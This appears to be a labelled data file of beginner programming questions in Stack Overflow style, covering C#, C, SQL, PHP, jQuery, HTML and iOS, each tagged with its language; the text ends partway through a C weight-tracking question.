how can an interface method be called directly   i m reading some code  can you please explain what the below line does    <pre><code>bool isfeatureenabled = featurecontrol.current.features.appdesigner.isenabled(organizationid currentorgdbversion); </code></pre>   here s the definitions of the above code   <pre><code>public sealed class featurecontrol : ifeaturecontrol {     public static ifeaturecontrol current { get; }     [xmlignore]     public ifeaturedetailcontainer features { get; set; }     .... }   public interface ifeaturecontrol {     ifeaturedetailcontainer features { get; set; }     ... }   public interface ifeaturedetailcontainer {     ifeaturedetail appdesigner { get; } }  public interface ifeaturedetail {     bool isenabled(guid organizationid  version currentorgdbversion); } </code></pre>   i don t see any instances created  how does this work     sorry  i copied metadata  i just found the actual code:   <pre><code>public sealed class featurecontrol : ifeaturecontrol {      private static readonly lazy&lt;ifeaturecontrol&gt; current = new lazy&lt;ifeaturecontrol&gt;(() =&gt; new featurecontrol());     private ifeaturedetailcontainer features;     public static ifeaturecontrol current         {             get             {                 return current.value;             }         }      /// &lt;summary&gt;         /// accessor to the features list for developers to retrieve the information         /// &lt;/summary&gt;         [xmlignore]         public ifeaturedetailcontainer features         {             get             {                 return this.features;             }             set             {                 this.features = value;             }         } } </code></pre>,c#
how to fix action_controller/metal/responder (loaderror) in ruby on rails  i installed the jasper-rails gem and this error showed when im starting rails server. i am using the latest version of ruby and rails on windows. how do i fix this    <pre><code>c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/jasper-rails-1.0.3/lib/jasper-rails.rb:26:in `require : cannot load such file -- action_controller/metal/responder (loaderror)         from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/jasper-rails-1.0.3/lib/jasper-rails.rb:26:in `&lt;top (required)&gt;          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:91:in `require          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:91:in `block (2 levels) in require          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:86:in `each          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:86:in `block in require          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:75:in `each          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler/runtime.rb:75:in `require          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/bundler-1.13.7/lib/bundler.rb:106:in `require          from c:/users/cjhmonteclaro/desktop/execute/config/application.rb:7:in `&lt;top (required)&gt;          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands/commands_tasks.rb:88:in `require          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands/commands_tasks.rb:88:in `block in server          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands/commands_tasks.rb:85:in `tap          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands/commands_tasks.rb:85:in `server          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands/commands_tasks.rb:49:in `run_command!          from c:/railsinstaller/ruby2.3.0/lib/ruby/gems/2.3.0/gems/railties-5.0.1/lib/rails/commands.rb:18:in `&lt;top (required)&gt;          from bin/rails:4:in `require          from bin/rails:4:in `&lt;main&gt;  </code></pre>,ruby-on-rails
trying to call variable in c after if statement  i m making a calculator application  and i wanna see if i can call a variable i set in an if statement; after the if statement has ended. can i do it  i ve tried a couple of things but i just can t get it to work.   <pre><code>int main() {     // ...     int finished;     do{         // ...                    if(operator == 1){             int finished = number[1] + number[2];             printf( \n\n%d \+ %d is: %d   number[1]  number[2]  finished);          }         if(operator == 2){             int finished = number[1] - number[2];             printf( \n\n%d \- %d is: %d   number[1]  number[2]  finished);          }         // ...         printf( \ndebug %d\n:    finished);         // ...     } while (doagain == 1);     return 0; } </code></pre>,c
where clause with multiple condition using and operator  below code is giving an error:   <blockquote>     an unhandled exception of type  system.invalidcastexception  occurred   in microsoft.visualbasic.dll        additional information: conversion from string  select items.itm_gsm    items.itm_  to type  long  is not valid.    </blockquote>  <pre><code>sql_lotitems3 =  select items.itm_gsm  items.itm_size  lotitems.lot_itm_qty     from (items     inner join lotitems on lotitems.itm_code = items.itm_code)     inner join lotmaster on lotmaster.lot_code = lotitems.lot_code     where lotmaster.po_number =  &amp; ponum and  lotmaster.lot_number=  &amp; lotnum </code></pre>   it works fine when i use only one condition with the where clause (either ponum or lotnum) without the and operator of course...,sql
uiwebview and install questions  i have two questions which make me in trouble.   <ol> <li>i drap a uiwebview on uiview then i can t get the touch events the one i can get is just from uiview.</li> <li>does iphone can run app just when it had installed  the other way can it launch itself at once when it finish installation.</li> </ol>,iphone
missing expression error when i try to convert the currency type  i want to display the output of total price from my table as  usd 20.00  or  euro 40  for us and euro respectively. i tired the following code and got the missing expression error. how to convert it to the specified format  the data type of the column  price  is number. my code goes here..   <pre><code>select convert(varchar(50) convert(money  coalesce(sum(nvl(case     when (typ=27 and l.tyt = usd ) then  usd  + price     when (typ=27 and l.tyt= euro ) then  euro + price     end 0)) 0)) 1) as total from transactions; </code></pre>   thanks in advance!,sql
float  object is not callable error  i have a function in a class i have written that reads a reading on a magnetometer and converts it into a direction between 0 and 359 degrees. the function is as follows:   <pre><code>def heading(self):     self.xzy = self.__getcompassmag()     self.x = self.xzy[0]     self.y = self.xzy[2]     pi = 3.14159     self.heading = round((math.atan2(self.y  self.x) * 180) / pi)      if self.heading &lt; 0:         return int(360 + self.heading)     else:         return int(self.heading) </code></pre>   when i try to call the function with <code>print obj.heading()</code>  the python shell gives my the error  typeerror:  float  object is not callable . i have some experience in coding  but not much in python. does anyone know what is going on here,python
get status in sending data to server with jquery  i use this code for sending form to the server with <code>$.post()</code> function.   <pre><code>$.post( filepath    {fname:fname   lname:lname} ).done(function(data){    $( #status ).html( finished ); }); </code></pre>   i want show the user a messege while sending the data to the <code>server.done()</code> is for finished progress. is there any way for while sending the data,jquery
delete in tableview  i just add this methods in .h file :   <pre><code>- (ibaction)edittable:(id)sender; </code></pre>   - (ibaction)deletebuttonaction:(id)sender;    and in .m file :   <ul> <li> (ibaction)deletebuttonaction:(id)sender{ [tablelist removelastobject]; [table reloaddata]; } </li> <li> (ibaction) edittable:(id)sender{    if(self.editing)    {   <pre><code>[super setediting:no animated:no]; [table setediting:no animated:no]; [table reloaddata]; [self.navigationitem.leftbarbuttonitem settitle:@ edit ]; [self.navigationitem.leftbarbuttonitem setstyle:uibarbuttonitemstyleplain]; </code></pre>   }    else {   <pre><code>[super setediting:yes animated:yes]; [table setediting:yes animated:yes]; [table reloaddata]; [self.navigationitem.leftbarbuttonitem settitle:@ done ]; [self.navigationitem.leftbarbuttonitem setstyle:uibarbuttonitemstyledone]; </code></pre>   } </li> </ul>   }    when i run the program and click the delete button (red button) the program is stop ! whats the problem   please any help     <hr>   you are evil :(     ok  again my code in .h file is :   <pre><code>- (ibaction)edittable:(id)sender; - (ibaction)deletebuttonaction:(id)sender; </code></pre>   and in .m file is :   <pre><code>- (ibaction)deletebuttonaction:(id)sender{     [tablelist removelastobject];     [table reloaddata]; } - (ibaction) edittable:(id)sender{    if(self.editing)  { [super setediting:no animated:no]; [table setediting:no animated:no]; [table reloaddata]; [self.navigationitem.leftbarbuttonitem settitle:@ edit ];         [self.navigationitem.leftbarbuttonitem setstyle:uibarbuttonitemstyleplain]; } else { [super setediting:yes animated:yes]; [table setediting:yes animated:yes]; [table reloaddata]; [self.navigationitem.leftbarbuttonitem settitle:@ done ]; [self.navigationitem.leftbarbuttonitem setstyle:uibarbuttonitemstyledone]; } }   </code></pre>   when i run the program and click the delete button (red button) the program is crash ! whats the problem   please any help,iphone
"can we add a <span> inside h1 tag   is it a proper method to use span tag inside h1 tag     <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h1&gt;
     &lt;span class= boardit &gt;portfolio&lt;/span&gt;
 &lt;/h1&gt;</code></pre>
 </div>
 </div>
     i know we can write it in this way...and am also following the below syntax in my own website..    <div class= snippet  data-lang= js  data-hide= false  data-console= true  data-babel= false >
 <div class= snippet-code >
 <pre class= snippet-code-html lang-html prettyprint-override ><code>&lt;h1 class= boardit &gt;
   &lt;span&gt;portfolio&lt;/span&gt;
 &lt;/h1&gt;</code></pre>
 </div>
 </div>
     however  i just wanted to know the cleaner form of html..",html
how to create a user on ubuntu machine from a c# program   i have never worked with networking  and i have a task with it: on virtual mashine i have a ubuntu on real mashine i have a windows; i need to write a programm in windows  which is create a user in ubuntu. network connection is setup  mashines are pinging. i try to use a nfs(netwerk file system) but i dont know nothing about it... please help  push me in right side. how i can do it,c#
java.util.arraylist cannot be cast to an object  i have a function with following signature:   <pre><code>class abc : public static list&lt;objectxyz&gt; getobjectxyzlist(param1 param1) </code></pre>   i am calling the function in a way :    <pre><code>list&lt;objectxyz&gt; objectxyz = abc.getobjectxyzlist(param1); </code></pre>   now  ideally it should work as i am assigning a variable of list  the return value of a function of type list  however i am getting the following error    <strong>java.lang.classcastexception: java.util.arraylist cannot be cast to com.org.lib.objectxyz</strong>    can someone suggest what might be wrong here   may be i need to do an enforced casting around the return object      <strong>updated code as mcve  hope this is more clear</strong>   <pre><code>java.lang.classcastexception: java.util.arraylist cannot be cast to com.someorg.common.objectxyz  // calling method list&lt;objectxyz&gt; opaquevolist = abc.getobjectlist(response);  // called method class abc {     public static list&lt;objectxyz&gt; getobjectlist(response response)             throws retryexception {         if (some_condition)                 list&lt;objectxyz&gt; listobj = new arraylist&lt;objectxyz&gt;();                 //magical stuff                 return listobj;             }         }         return null;     }    } </code></pre>,java
does the heap get freed when the program exits   suppose i malloc some memory into some pointers but don t free them before the program exits. does this memory get freed automatically on exit or will the memory leak continue to be there till i restart the computer,c
implementation of barrier in java  how can a barrier be implemented <strong>with semaphores</strong> in java. will the following pseudo code work  how can it be written using java semaphore class.    <code>n</code> is the number of threads to be waited for at the barrier. <code>everyonehasreachedbarrier</code> is a conditional variable.   <pre><code>aquire(mutex) m = m + 1; if(m != n) {      release(mutex);     aquire(everyonehasreachedbarrier); } else {    m = 0;    release(mutex);    for(i=0; i&lt;n; i++)    {        release(everyonehasreachedbarrier);    } } </code></pre>,java
one method not seeing another method in the same namespace  why do these errors occur  and how can they be fixed    <blockquote>    error  1   expected class  delegate  enum  interface  or struct    c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\dal.cs 9   19  enterdata        error  2   expected class  delegate  enum  interface  or struct    c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\dal.cs 11  54  enterdata        error  3   expected class  delegate  enum  interface  or struct    c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\dal.cs 25  23  enterdata        error  4   expected class  delegate  enum  interface  or struct    c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\dal.cs 27  57  enterdata        error  5   type or namespace definition  or end-of-file expected   c:\documents and settings\agordon\my documents\visual studio 208\projects\lomdb\enterdata\dataentry\dal.cs  39  9   enterdata        error  8   the name  populatemainform  does not exist in the current context   c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\webform1.aspx.cs   25  53  enterdata        error  9   the name  populatebatchtable  does not exist in the current context c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\webform1.aspx.cs   26  50  enterdata        error  10  the name  populateproblemtable  does not exist in the current context   c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\webform1.aspx.cs   27  54  enterdata        error  11  the name  populatespecimentable  does not exist in the current context  c:\documents and settings\agordon\my documents\visual studio 2008\projects\lomdb\enterdata\dataentry\webform1.aspx.cs   28  56  enterdata  </blockquote>   i am keeping the ilist classes in a file called dal.cs in the same directory:   <pre><code>using system; using system.collections.generic; using system.linq; using system.web; using radargraphinsertdll;  namespace enterdata.dataentry {     public static ilist&lt;lomdll.lom_batch&gt; populatebatchtable()         {             ilist&lt;lomdll.lom_batch&gt; batchtable = new ilist&lt;lomdll.lom_batch&gt;();              try              {              }             catch (exception e)             {              }              return batchtable;         }          public static ilist&lt;lomdll.lom_problem&gt; populateproblemtable()         {             ilist&lt;lomdll.lom_problem problemtable = new ilist&lt;lomdll.lom_problem();              try             {              }             catch (exception e)             {              }              return problemtable;         }          public static ilist&lt;lomdll.lom_specimen&gt; populatespecimentable()         {             ilist&lt;lomdll.lom_specimen specimentable = new ilist&lt;lomdll.lom_specimen();              try             {              }             catch (exception e)             {              }              return specimentable;         }          public static lomdll.main_lom_form populatemainform()         {             //populate class             lomdll.main_lom_form theform = new lomdll.main_lom_form();              try             {                 theform.lom_number = lom_numbertextbox.text.toint();                 theform.identified_by = identified_bytextbox.text;                 theform.occurrence_date = occurrence_datetextbox.text.todatetime();                 //theform.pre_contact = pre_contacttextbox.text; //need to create this texdtbox                 //theform.pre_practice_code = pre_practice_codetextbox.text; //create this                 theform.report_by = report_bytextbox.text;                 theform.report_date = report_datetextbox.text.todatetime();                 theform.section_c_comments = section_c_commentstextbox.text;                 theform.section_c_issue_error_identified_by = section_c_issue_error_identified_bytextbox.text;                 theform.section_d_investigation = section_d_investigationtextbox.text;                 theform.section_e_corrective_action = section_e_corrective_actiontextbox.text;                 theform.section_f_comments = section_f_commentstextbox.text;             }             catch(exception e)             {              }              return theform;         } } </code></pre>,c#
can i make these circles for my <li> points in css   i am trying to make this menu    <a href= https://i.stack.imgur.com/wh1so.png  rel= nofollow noreferrer ><img src= https://i.stack.imgur.com/wh1so.png  alt= gun shop ></a>    now so far i can get to <a href= https://jsfiddle.net/mson9zee/  rel= nofollow noreferrer >this point</a> where i have the <code>&gt;</code> appearing before each <code>&lt;li&gt;</code> with a margin of 10px before the text but the problem is that i can t get the circle    i tried adding <a href= https://jsfiddle.net/mson9zee/1/  rel= nofollow noreferrer ><code>&lt;divs&gt;</code></a> thinking i could just give it a <code>background-color</code> and <code>border-radius</code> but the problem is that the html comes up as text so i wouldn t be able to apply any css to it.    the easiest solution would be to add a <code>&lt;div&gt;</code> in each <code>&lt;li&gt;</code> however the list is generated by a php function which returns the html as a single string. i could use <code>str_replace()</code> to locate every opening <code>&lt;li&gt;</code> and add in a <code>&lt;div&gt;</code> or do the same thing in javascript but i want to know if i can do this though css,css
passing new struct as parameter  i have a function like so:   <pre><code>- (void)addballoon:(color)color:(velocity)velocity:(location)location  </code></pre>   where color is an enum  and velocity and location are structs defined in a constants header file..     velocity and location both store two ints  x and y.    when calling this method  i would call it like so:   <pre><code>velocity vel; location loc;  vel.x = 100.0; vel.y = 0.0;  loc.x = 10.0; loc.y = 10.0;  [self addballoon:red:vel:loc]; </code></pre>   but to me  this seems disorganized. i would like to call the function directly in one line while creating the struct on the line..    here is my question: i m not sure if this can be done using #define.. but if it can t.. is the only other viable option creating a function that returns velocity or location and takes inputs x  and y     i would like to do something like the following:   <pre><code>[self addballoon:red:velocity(100.0  0.0):location(10.0  10.0)]; </code></pre>,objective-c
faulty error output in my registration form  i am trying to make a registration form and doing some checks before running sql queries  but as i test and try to generate multiple errors  i am getting only the error that comes first  or sometimes no error at all. i am unable to locate where i have made error.  the following is the code in php.   <pre><code>//function to filter only phone numbers function get_phone($number) {     return preg_replace( #[^0-9]#       $number); }  //function to take only alphabets. function get_alpha($alphabets){     return preg_replace( #[^a-z]#       $alphabets); }  //function to check email. function isvalidemail($email){     if (strlen ($email) &gt; 50){         $errors[] =  email address too long  please use a shorter email address..! ;     } else {       return (filter_var($email  filter_validate_email));        }     }   function output_errors($errors){     $output = array();     foreach($errors as $error) {         $output[] =  &lt;li&gt;  . $error .  &lt;/li&gt; ;     }     return  &lt;ul&gt;  . implode(    $output) .  &lt;/ul&gt; ;      }  if (empty($_post) === false) {     //store the text box field names of the form to local variables.     $cust_name = $_post[ name1 ];     $cust_email = $_post[ email ];     $cust_phone = $_post[ phone ];     $cust_addr1 = $_post[ addr1 ];     $cust_addr2 = $_post[ addr2 ];     $cust_city = $_post[ city ];     $cust_state = $_post[ state ];     $cust_country = $_post[ country ];     $username = $_post[ uname ];     $password = $_post[ passwd ];     $cnf_passwd = $_post[ cnf_passwd ];     $sec_que = $_post[ sec_que ];     $sec_ans = $_post[ sec_ans ];      //sanitize the inputs from the users end.      $cust_name = sanitize($username);     $cust_phone = get_phone($cust_phone);     $cust_addr1 = sanitize($cust_addr1);     $cust_addr2 = sanitize($cust_addr2);     $cust_city = get_alpha($cust_city);     $cust_state = get_alpha($cust_state);     $cust_country = get_alpha($cust_country);     $username = sanitize($username);       $password = md5($password);     $cnf_passwd = md5($cnf_passwd);     $sec_que = sanitize($sec_que); //put up dropdown menu     $sec_ans = sanitize($sec_ans);     $cust_email = isvalidemail($cust_email);      //check for error handling in form data     //1. check for empty fields      if ($cust_name ==    || $cust_phone ==    ||         $cust_addr1 ==    || $username ==    ||          $password ==    || $cnf_passwd ==    ||          $sec_que ==    || $sec_ans ==           ) {         $errors[] =  no blank fields allowed  please fill out all the required fields..! ;         //2.check for field lengths     } else if (strlen($cust_name) &lt; 3 || strlen($cust_name &gt; 20)) {         $errors[] =  the name length should be between 3 to 20  please check &amp; correct..! ;         //3. check for phone number length     } else if (strlen($cust_phone) &lt; 10 || strlen($cust_phone) &gt; 11) {         $errors[] =  the phone number must be 10 or  11 digits..! ;         //4. check for address input lengths.     } else if (strlen($cust_addr1) &lt; 5 || strlen($cust_addr1) &gt; 50) {         $errors[] =  please provide a valid address..to serve you better..! ;         //5. check if the password fields content match.          //length is not checked because the entered values will be converted to md5 hash          // of 32 characters.     } else if ($password != $cnf_passwd) {         $errors[] =  the passwords do not match. please enter your passwords again..! ;        // 6. check for length of the security answers.       } else if (strlen($sec_ans) &lt; 5 || strlen($sec_ans) &gt; 50) {         $errors[] =  please enter a proper security answer..! ;     } //7. check for valid email address     else if($cust_email == false){         $errors[] =  the email address you entered is not valid  please check and correct..! ;      } else {         execute the sql queries and enter the values in the database.          echo  good...till now..!!! ;     }  } else {     $errors [] =  no data received  please try again..!! ; } if(empty($errors) === false) {  &gt; &lt;h2&gt;the following errors were encountered:&lt;/h2&gt; &lt; php     echo output_errors($errors); //output the errors in an ordered way. }  &gt; </code></pre>,php
jquery replace class  i have a large list of <code>&lt;li&gt;</code> s that are given a width from a  span3  class.    <pre><code>&lt;ul class= thumbnails &gt;     &lt;li class= span3 &gt;         &lt;div class= thumbnail &gt;&lt;img src= /images/logos-s/s-001.png  alt=   data-creator= swc &gt; &lt;span&gt;01&lt;/span&gt;&lt;/div&gt;     &lt;/li&gt;     repeat...40x &lt;/ul&gt; </code></pre>   i have buttons (<code>button#grid-bigger</code> &amp;&amp; <code>button#grid-smaller</code>) that allow the users to increase and decrease the size of the grid on click. ideally  the user would be able to click three times  and each time it would change the <code>&lt;li&gt;</code> class from span3 to span4 then to span12.    here s the javascript:    <pre><code>$( #grid-bigger ).live( click   function (e) {     $( #blob .thumbnails ).find( li ).each(function(i  ojb) {         if ( $(this).hasclass( span2 ) ) {             $(this).removeclass( span2 ).addclass( span3 );         }          if ( $(this).hasclass( span3 ) ) {             $(this).removeclass( span3 ).addclass( span4 );         }          if ( $(this).hasclass( span4 ) ) {             $(this).removeclass( span4 ).addclass( span12 );         }     }); }); </code></pre>   what happens is that instead of allowing separate clicks to the  make bigger  button  it ll only click once and execute two of the statements at the same time.    any suggestions,jquery
sql query on nullable columns  i have the following sql   <pre><code>select *  from posts  where expiry_date is &gt; getdate() </code></pre>   <code>expiry_date</code> is a nullable <code>datetime</code> column. basically i want retrieve all posts where they have not expired but also all posts where <code>expiry_date</code> is null.    how do i achieve this  do i need an or condition,sql
c++ compile time heterogeneous array  python style  i ve got a solution to a problem in c++  but i find myself writing this:   <pre><code>dosomething(1  value1 ); dosomething(2  somethingelse ); dosomething(3  notthesame ); dosomething(7  wahetevr ); dosomething(5  yeah ); </code></pre>   and it works fine  but it s rather long...and getting longer. but the two sets of values are compile time only.     in python i would have created a tuple of the two values in a list and then just foreached over them. is there any way to create a light weight heterogenous array of the two values  i m trying to avoid creating a type and throwing them in as well as trying to avoid using a library since i ve kept the libraries i ve used to zero so far.    i would rather not create two arrays of the two value sets  it s too easy to get them out of sync.    thanks for the suggestions.,c++
iphone app update.  createsymboliclinkatpath  released   i am using the symbolic link with iphoneapp.    <pre><code>nsstring* js_path = [[nsbundle mainbundle] pathforresource:@ js  oftype:nil]; nsarray *paths = nssearchpathfordirectoriesindomains(nsdocumentdirectory  nsuserdomainmask  yes); if (js_path != nil) {     nsfilemanager *fm = [nsfilemanager defaultmanager];     nsstring* move_js_path = [nsstring stringwithformat:@ %@/js    [paths objectatindex:0]];     nserror *error;      if ([fm createsymboliclinkatpath:move_js_path withdestinationpath:js_path error:&amp;error]) {     } else {} } </code></pre>   i updated the application program. it becomes impossible to read the file afterwards.     however  the file was able to be read by reinstalling it after the application program had been deleted once.     is there a problem in this code,ios
display dates in between dates in sql  hope all is well.i have a simple table below with 5 records.    <pre><code>id:    date 123    9/1/15 123 123 123 123    9/5/15 </code></pre>   how do i write in sql server to display the missing dates from 9/2/15 to 9/4/15. i was thinking about using a loop but my pay grade is not there yet. basically  i like to know how to write a sql script that displays the missing dates.    could someone help please  joe,sql
html: image not displaying to the right of table in html  i have a problem getting an image to the right of my html page. i want to place an image between the top and down labels. currently  i have inserted a few spaces after label 8 and label 9  just to show the position of my vertical image. i want an image to show up there instead. i have tried a few things  but the image appears in a different row pushing the other rows to the bottom down.    html code:   <pre><code> &lt;table cellpadding= 0  cellspacing= 0 &gt;      &lt;tr&gt;       &lt;td &gt;        &lt;table width= 100%  cellpadding= 0  cellspacing= 0 &gt;         &lt;tr&gt;          &lt;td &gt;           &lt;div &gt;         &lt;table  width= 100%  cellpadding= 0  cellspacing= 8 &gt;                                         &lt;tr&gt;           &lt;td&gt;            &lt;table  width= 100%  cellpadding= 0  cellspacing= 0 &gt;             &lt;tr&gt;               &lt;td  colspan= 2 &gt;hello&lt;/td&gt;                                                          &lt;/tr&gt;                                                        &lt;tr&gt;                   &lt;td&gt;label 1&lt;/td&gt;                                                                        &lt;td&gt;label 2&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;               &lt;td style= padding-left:550px  colspan= 2 &gt;top&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td colspan= 2 &gt;label 3&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td  colspan= 2 &gt;label 4&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td colspan= 2 &gt;label 5&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;               &lt;td  colspan= 2 &gt;label 6&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                &lt;td  colspan= 2 &gt;label 7&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;                &lt;td  style= padding-left:25px &gt;label 8 &amp;nbsp; label 9&lt;/td&gt;             &lt;/tr&gt;                 &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;                   &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;&lt;td&gt; &amp;nbsp; &lt;/td&gt;&lt;/tr&gt;             &lt;tr&gt;             &lt;td  style= padding-left:550px  colspan= 2 &gt;bottom&lt;/td&gt;             &lt;/tr&gt;             &lt;tr&gt;             &lt;td  colspan= 2 &gt;footer&lt;/td&gt;             &lt;/tr&gt;         &lt;/table&gt;            &lt;/td&gt;           &lt;/tr&gt;          &lt;/table&gt;        &lt;/div&gt;       &lt;/td&gt;      &lt;/tr&gt;     &lt;/table&gt;     &lt;/td&gt;     &lt;/tr&gt;     &lt;/table&gt; </code></pre>,html
c++: how do you convert the name of a function pointer to text  <blockquote>    <strong>possible duplicate:</strong><br>   <a href= https://stackoverflow.com/questions/351134/how-to-get-functions-name-from-functions-pointer-in-c >how to get function&#39;s name from function&#39;s pointer in c </a>    </blockquote>     i m printing the configuration for the program to the command line each run  and one thing that i would like printed is the current hash function being used -- which is stored in a function pointer variable.    is there a way to do something along the lines of:<br> <code>std::cout &lt;&lt; function_pointer.function_name_to_text() &lt;&lt;  \n ;</code>    so like  if i have a function called sha1(char * pre_image)  it would just output <code>sha1</code> to the console  the entire method header would be grand too.,c++
jquery how to set attribute of element using other attribute of the same element  i want to set title text of a link calling a function which receives as parameter the id of the element and outputs the text.    something like   <pre><code>$(a).attr( title   function() {return $(this).id +  foo }); </code></pre>   but a construct like this doesn t exist as far i know. what can i do  thanks.,jquery
javascript reference array insert  i am novice to javascript but i know javascript does calls by value when passing primitives and calls by reference when passing objects.   <pre><code>var a = [4 5]; var temp = a; console.log(a);    // [4 5]       ok console.log(temp); // [4 5]       ok temp = temp.push(6);  // insert one more element into temp array  console.log(a);     // [4 5 6]  why so   console.log(temp);  // [4 5 6]   </code></pre>   i know this is because of reference got change . what should i do to avoid deep copy      if i change temp don’t want to change original reference a  it should print [4 5].,javascript
value of variable and lexical environment after creating execution context  i have global code snippet:   <pre><code>function foo(){     var a={a: a };     var b={b: b }; } </code></pre>   what is the value of <code>variable/lexicalenvironment</code> just after creation of <code>foo</code> s execution context  i think that <code>variableenvironment</code> s <code>environment record</code> must  contain bindings <code>foo--&gt; function(){ }  a--&gt;{a:  a }  b--&gt;{b:  b }</code>  but <code>lexicalenvironment</code> s <code>environment record</code> must contain a <code>global environment</code> s <code>environment record</code>.,javascript
how do i export my code into an app file  (iphone)  i followed some simple  make your first iphone app  guide. i tried it in a emulator  and it worked fine  but how can i create the .app (or whatever the extension is) file,iphone
how to display errors on a form_for with multiple resources  i have an order form where i can add order items   <pre><code>&lt;h2&gt;order: &lt;%= @order.title %&gt;&lt;/h2&gt;  &lt;h3&gt;items&lt;/h3&gt; &lt;%= render @order.items %&gt;  &lt;h4&gt;add an item:&lt;/h4&gt; &lt;%= form_for([@order  @order.items.build]) do |f| %&gt;     &lt;%= f.label :item %&gt;     &lt;%= f.submit  submit  %&gt; &lt;% end %&gt; </code></pre>   i want to check if there are any errors when creating the item.    this is what i use on the order form:   <pre><code>&lt;% if @order.errors.any  %&gt;     &lt;div id= error_explanation &gt;       &lt;h2&gt;         &lt;%= pluralize(@order.errors.count   error ) %&gt; prohibited         this order from being saved:       &lt;/h2&gt;       &lt;ul&gt;         &lt;% @order.errors.full_messages.each do |msg| %&gt;           &lt;li&gt;&lt;%= msg %&gt;&lt;/li&gt;         &lt;% end %&gt;       &lt;/ul&gt;     &lt;/div&gt;   &lt;% end %&gt; </code></pre>   i don t know how to display errors when there is multiple resources in the form for.,ruby-on-rails
how do i use a message box in c#   how can i use a message box in c# without a script,c#
two similar functions  different results  my brain is in pain. i cannot figure what is happening here. i would pay if allowed the person with the best answer.     i have this weight program for school and it allows user to input starting weight and than through a switch it calls various functions which are either allows user to gain weight or lose weight. some functions return what i am expecting and some don t. these functions return what i expect  cakegain()  hardworkout()  mediumworkout()  but i cant figure out why i am getting incorrect returns on runloss()  burgergain()  pizzagain() and easyworkout(). i cannot seem to figure out any big difference between the functions and i have tried all kinds of options. i was originally passing my weight variable by reference to all the functions and letting them change the value but my instructor did not want all the pointers.    this is not beautiful code and i have commented out some sections which i will fix later. i know a lot of my work is bad form (system calls etc.) but my instructor has not taught us alternative methods or does not care. this is still considered a beginner course. all i am curious on is why some functions work when others do not.     thanks again     mike (i really appreciate all that take time from their schedules to help people like me out. i cannot wait for the day that i am competent enough to help out others).   <pre><code>#include &lt;stdlib.h&gt; #include &lt;stdio.h&gt; #include &lt;ctype.h&gt; #define pause system ( pause ) #define cls system ( cls ) #define flush fflush(stdin)  //prototype functions here void mainmenu(void); char getuserchoice(); double enterweight(); double runloss(double usersweight); double burgergain(double usersweight); double eatpizza(double usersweight); double eatcake(double usersweight); double hardworkout(double usersweight); double 